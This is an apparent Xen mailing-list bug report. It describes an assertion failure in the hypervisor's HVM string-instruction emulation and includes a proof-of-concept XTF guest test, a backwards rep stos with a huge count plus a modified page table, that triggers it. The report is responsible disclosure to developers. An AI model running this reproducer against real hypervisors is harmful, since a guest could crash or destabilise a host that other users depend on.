Dear all,

we discovered a bug in hvm64 x86 Xen. Using the attached xtf test we are
able to trigger an assert in arch/x86/hvm/emulate.c:


if ( (hvmemul_ctxt->ctxt.regs->eflags & X86_EFLAGS_DF) && (reps > 1) )
{
        /*
         * x86_emulate() clips the repetition count to ensure we don't wrap
         * the effective-address index register. Hence this assertion holds.
         */
        ASSERT(offset >= ((reps - 1) * bytes_per_rep));
        okay = hvm_virtual_to_linear_addr(
                seg, reg, offset - (reps - 1) * bytes_per_rep,
                reps * bytes_per_rep, access_type,
                hvmemul_get_seg_reg(x86_seg_cs, hvmemul_ctxt), linear);
        *linear += (reps - 1) * bytes_per_rep;
        if ( hvmemul_ctxt->ctxt.addr_size != 64 )
                *linear = (uint32_t)*linear;
}


If debug mode is not enabled, this will later on result in an integer
underflow, however we were not able to find any severe problems.

The test below will not work with vanilla xtf. To get it working,
we have to edit 'pae_l1_identmap' in arch/x86/hvm/pagetables.S in xtf
from


PAGETABLE_START(pae_l1_identmap)
        .long 0, 0
        .rept PAE_L1_PT_ENTRIES - 1
        .long (PAE_IDX(pae_l1_identmap) << PAE_L1_PT_SHIFT) + _PAGE_LEAF
        .long 0
        .endr
PAGETABLE_END(pae_l1_identmap)


to the following value:


PAGETABLE_START(pae_l1_identmap)
        .quad (0x5564000000) + _PAGE_LEAF
        .rept PAE_L1_PT_ENTRIES - 1
        .long (PAE_IDX(pae_l1_identmap) << PAE_L1_PT_SHIFT) + _PAGE_LEAF
        .long 0
        .endr
PAGETABLE_END(pae_l1_identmap)



We were able to reproduce this bug in several versions including the
most current one at the time of writing this.


Best,
Fabian
/**
 * @file tests/poc/main.c
 * @ref test-poc
 *
 * @page test-poc poc
 *
 * @todo Docs for test-poc
 *
 * @see tests/poc/main.c
 */
#include <xtf.h>

const char test_title[] = "Test poc";

void test_main(void)
{
        printk("Starting up reps offset assert poc!\n");

    asm volatile ( 
        "mov $0xd000f8, %%eax;"
        "mov $0x0, %%rdi;"
        "mov $0x1900000000000000, %%rcx;"
        "std;"
        "rep stos %%eax, %%es:(%%rdi);"
        ::: "memory", "cc", "rax", "rdi", "rcx"
    );

    printk("Unreachable with enabled debug asserts!\n");
    xtf_success(NULL);
    xtf_success(NULL);
}

/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */

Reply via email to